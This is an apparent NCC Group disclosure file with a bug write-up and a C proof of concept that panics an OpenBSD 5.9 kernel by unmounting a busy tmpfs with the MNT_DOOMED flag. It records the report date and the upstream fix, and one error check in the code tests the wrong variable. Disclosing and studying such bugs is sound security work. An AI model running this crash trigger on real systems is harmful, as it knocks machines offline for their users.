/*
* unmount_panic.c
* Demonstrate a panic through the unmount system call.
*
* gcc -g unmount_panic.c -o unmount_panic
*/
#ifdef BUG_WRITEUP //---------------------------------------------------
Unmounting with MNT_DOOMED flag can lead to a kernel panic
Impact:
Root users or users on systems with kern.usermount set to true can
trigger a kernel panic when unmounting a filesystem.
Description:
When the unmount system call is called with the MNT_DOOMED flag
set, it does not sync vnodes. This can lead to a condition where
there is still a vnode on the mnt_vnodelist, which triggers a
panic in dounmount().
if (!LIST_EMPTY(&mp->mnt_vnodelist))
panic("unmount: dangling vnode");
This condition can only be triggered by users who are allowed
to unmount a filesystem. Normally this is the root user, but
if the kern.usernmount sysctl variable has been set to true,
any user could trigger this panic.
Reproduction:
Run the attached unmount_panic.c program. It will mount a new
tmpfs on /mnt, open a file on it, and then unmount /mnt with
the MNT_DOOMED flag. This will lead to a panic of "unmount: dangling vnode".
NCC Group was able to reproduce this issue on OpenBSD 5.9 release
running amd64.
Recommendation:
TBD
[OpenBSD developers decided to reject all flags other than MNT_FORCE].
Reported: 2016-07-12
Fixed: http://cvsweb.openbsd.org/cgi-bin/cvsweb/src/sys/kern/vfs_syscalls.c.diff?r1=1.261&r2=1.262
#endif // BUG_WRITEUP ---------------------------------------------------
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/param.h>
#include <sys/mount.h>
void xperror(int cond, char *msg)
{
if(cond) {
perror(msg);
exit(1);
}
}
int main(int argc, char **argv)
{
struct tmpfs_args args = { TMPFS_ARGS_VERSION, 0, 0, 0, 0, 0 };
int x, fd;
x = mount("tmpfs", "/mnt", 0, &args);
xperror(x == -1, "mount");
fd = open("/mnt/somefile", O_RDWR | O_CREAT, 0666);
xperror(fd == -1, "/mnt/somefile");
x = unmount("/mnt", MNT_DOOMED);
xperror(fd == -1, "unmount");
printf("no crash!\n");
return 0;
}
